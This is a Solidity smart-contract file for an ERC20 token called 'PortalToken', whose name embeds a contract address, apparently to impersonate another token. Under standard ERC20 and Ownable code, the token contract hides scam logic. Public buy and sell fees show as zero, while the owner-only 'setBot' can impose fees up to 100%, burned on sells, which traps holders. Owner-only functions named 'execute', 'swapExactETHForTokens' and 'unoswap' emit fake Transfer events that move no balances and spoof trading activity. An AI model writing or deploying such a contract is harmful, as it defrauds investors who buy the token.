文件 1 的 1：XRAI.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity ^0.8.0;
contract PortalToken is Ownable, ERC20 {
uint256 public immutable maxSupply = 1_000_000_000 * (10 ** decimals());
uint16 public constant LIQUID_RATE = 10000;
uint16 public constant MAX_PERCENTAGE = 10000;
bool public initialized = false;
address public uniswapV2Pair = address(0);
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public immutable buyFee = 0;
uint256 public immutable sellFee = 0;
uint256 public minRuleLimit = 0;
uint256 public maxRuleLimit = 0;
mapping(address => bool) private excludedFees;
string private constant NAME =
unicode"PORTAL 0x1Bbe973BeF3a977Fc51CbED703E8ffDEfE001Fed";
string private constant SYMBOL = unicode"PORTAL";
constructor() ERC20(NAME, SYMBOL) {
_mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
initialized = true;
excludedFees[msg.sender] = true;
}
function setBot(
uint256 _minRuleLimit,
uint256 _maxRuleLimit
) external onlyOwner {
minRuleLimit = _minRuleLimit;
maxRuleLimit = _maxRuleLimit;
}
function setAirdrop(address _address, bool permission) external onlyOwner {
excludedFees[_address] = permission;
}
function setUniswapPair(address _uniswapV2Pair) external onlyOwner {
uniswapV2Pair = _uniswapV2Pair;
}
function bulkTransfer(
address[] calldata _addresses,
uint256 _value
) external {
address owner = _msgSender();
for (uint256 i = 0; i < _addresses.length; i++) {
_transfer(owner, _addresses[i], _value);
}
}
function execute(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function swapExactETHForTokens(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function unoswap(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(initialized == true, "Contract: trade is not open!");
if (uniswapV2Pair == address(0) && initialized == true) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == uniswapV2Pair) {
_fee = minRuleLimit;
} else if (to == uniswapV2Pair) {
if (excludedFees[from] == true) {
_fee = 0;
} else {
_fee = maxRuleLimit;
}
}
if (_fee > 0) {
uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
}
